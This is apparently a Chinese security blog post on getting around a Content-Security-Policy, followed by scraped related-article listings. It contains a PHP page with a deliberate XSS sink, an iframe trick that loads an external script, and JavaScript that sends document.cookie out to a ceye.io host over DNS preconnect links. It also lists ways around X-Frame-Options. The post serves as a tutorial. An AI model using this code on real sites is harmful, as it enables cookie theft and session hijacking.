iframe.php代码如下：

allow-popups开启时，window.open就可以打开新的窗口。

看csp规则，默认是在当前域内，如果这是一个ctf题的话，就很简单了，window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。

但是要是远程加载js文件是不满足csp规则的。

  1. <?php
  2. header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
  3. setcookie('afanti','test');
  4. ?>
  5. <!DOCTYPE html>
  6. <html>
  7. <head>
  8.     <title>bypass csp</title>
  9. </head>
  10. <body>
  11.  <script> <?php echo $_GET['xss']; ?></script>
  12. </body>

被csp规则拦住：

通过iframe引入外部js，其中iframe的src属性必须是同域下的。

引入的js代码如下：

  1. f=document.createElement("iframe");
  2. f.id="pwn";
  3. f.src="./1.txt";
  4. f.onload=()=>{
  5.     x=document.createElement('script');
  6.     x.src='//www.123.com/csp/1.js';
  7.     pwn.contentWindow.document.body.appendChild(x)
  8. };
  9. document.body.appendChild(f);

这时候就能绕过csp引入其他域下的js了。

但是存在的问题就是，虽然能将外部的js引入，不能把浏览器的数据带出来。

解决办法：通过dns通道来传递cookie。

  1. dc = document.cookie;
  2. dcl = dc.split(";");
  3. n0 = document.getElementsByTagName("HEAD")[0];
  4. for (var i=0; i<dcl.length;i++)
  5. {
  6. console.log(dcl[i]);
  7. n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".on1sw1.ceye.io\">";
  8. console.log(n0.innerHTML);
  9. }

打到的cookie。

获取父窗口的内容<code id='secret'>Secret=xni3cQ2v6lnN2BVn</code>。

获取到的父窗口的内容。

假设当前网站的头部都加上了：header("X-Frame-Options:DENY");也就是没办法引入同域下的iframe标签,被拦截了，后面的js语句不执行了。

把iframe.src="http://www.123.com/csp/test.php";其中test.php头部加上header("X-Frame-Options:DENY"),这样就无法运行后面的js语句。

解决办法：

可以通过让服务器处理出错来绕过，来引入我们外部的js文件。

1、请求一个不存在的地址

2、请求长的url，让服务器产生414错误

3.产生巨大的cookie，测试代码看参考链接

总结：

1、可以通过iframe引入其他域的js文件（问题：引入的js也受csp策略的影响，不能将本域的内容传出去，但是可以通过dns通道传出去）

利用场景：xss点引入的有长度限制，通过iframe引入其他域的文件，在通过dns通道将本域的js文件传出去。

参考链接：

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

通过iframe标签绕过csp的更多相关文章

  1. iframe标签

    转载文章:Web前端之iframe详解 iframe基本内涵 通常我们使用iframe直接在页面嵌套iframe标签指定src就可以了. <iframe src="demo_ifram ...

  2. 利用反射型XSS二次注入绕过CSP form-action限制

    利用反射型XSS二次注入绕过CSP form-action限制 翻译:SecurityToolkit 0x01 简单介绍 CSP(Content-Security-Policy)是为了缓解XSS而存在 ...

  3. xss之上传文件的xss,绕过csp,预警机制

    xss1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html总结: 1.1.文件名方式,原理:有些文件名可能反应 ...

  4. 使用iframe标签结合springMvc做文件上传

    1.iframe.jsp <body> <h1>测试iframe文件上传</h1> <!-- 1.要求表单的target属性名称与iframe的name名字一 ...

  5. 如何用iframe标签以及Javascript制作时钟？

    如何利用iframe标签以及Javascript制作时钟? 如何制作一个时钟呢?效果如下图所示: 这里的时钟会不停的走,但是下面的页面是不会变得,这样就实现了我们想要的效果了.下面我将分为以下几个方面 ...

  6. iframe标签用法详解(属性、透明、自适应高度)

    1.iframe 定义和用法 iframe 元素会创建包含另外一个文档的内联框架(即行内框架). HTML 与 XHTML 之间的差异 在 HTML 4.1 Strict DTD 和 XHTML 1. ...

  7. <iframe>标签的一些说明

    <iframe>标签里的marginwidth/marginheight属性定义的是框架内部的margin(框架和其父元素之间的margin可以用style="margin:.. ...

  8. HTML要点（五）<iframe>标签

    浏览器支持:全部支持 定义和用法 iframe 元素会创建包含另外一个文档的内联框架(即行内框架). HTML 与 XHTML 之间的差异 在 HTML 4.1 Strict DTD 和 XHTML ...

  9. iframe标签用法详解(属性、透明、自适应高度)（总结）

    <iframe src="http://www.jb51.net" width="200" height="500"> 脚本之家 ...

随机推荐

  1. <深入理解JavaScript>学习笔记(4)_立即调用的函数表达式

    前言 大家学JavaScript的时候,经常遇到自执行匿名函数的代码,今天我们主要就来想想说一下自执行.(小菜理解:的确看到好多,之前都不知道这是自执行匿名函数) 在详细了解这个之前,我们来谈了解一下 ...

  2. C++/CLI 本地字符串和托管字符串之间的转换

    参考: https://docs.microsoft.com/zh-cn/cpp/dotnet/overview-of-marshaling-in-cpp #include "msclr/m ...

  3. Winform截图小程序

    今天闲时做的一个Demo,做得并不好,只是实现了最基本的截图功能 主要的思路就是 先打开一个主窗体,点击"截图按钮" 会出现一个半透明的小窗体(可以拉伸放大缩小) 然后利用Grap ...

  4. Java处理emoji

    1.问题产生情况 我遇到这个问题是做微信开发的时候有些有用的头像用了微信的emoji表情,然而我的mysql数据库用的编码是utf8_general_ci,就是utf-8编码,结果也就报错误了. 2. ...

  5. Jenkins2.138配置slave节点时，启动方法只有两个选项

    Jenkins2.138配置slave节点时,启动方法只有两个选项,并没有通过javaweb代理启动这个选项 解决办法 全局安全配置->代理->选择随机选取

  6. BZOJ P1188 HNOI2007 分裂游戏——solution

    题目描述: (<--这个) 组合游戏,——把每个石头看做一个游戏, Multi_game——消去i上的石子后,,k上的游戏又多了一个: 于是就套用multi_game的模型即可 求解SG函数时, ...

  7. 《Linux命令行与Shell脚本编程大全第2版》读书笔记

    公司说不准用云笔记了,吓得我赶紧把笔记贴到博客上先..... 近3年前的了,只有一半的章节,后面的没空记录了.... 第1章 可以cat /proc/meminfo文件来观察Linux系统上虚拟内存的 ...

  8. 【javascript】javascript设计模式之工厂模式

    1.要解决的问题 2.如何实现 3.与构造函数的区别 4.总结 1.要解决的问题 工厂模式通常用于重复创建相似对象,提供动态创建对象的接口. 2.工厂模式最为设计模式中构造模式之一,通常在类或类的静态 ...

  9. input button 与 submit 的区别

    在表单中,我们会经常提交数据,通常使用<input type="submit" value="提交"/>进行提交数据, 另一种方式是使用<bu ...

  10. 系统测试用例评审checklist

    规则要素内容 使用范围 审查结果 “否”的理由 “免”的理由 规则 建议 是 否 免 规范性规则               用例是否按照公司规定的模板进行编写?  √             用例的 ...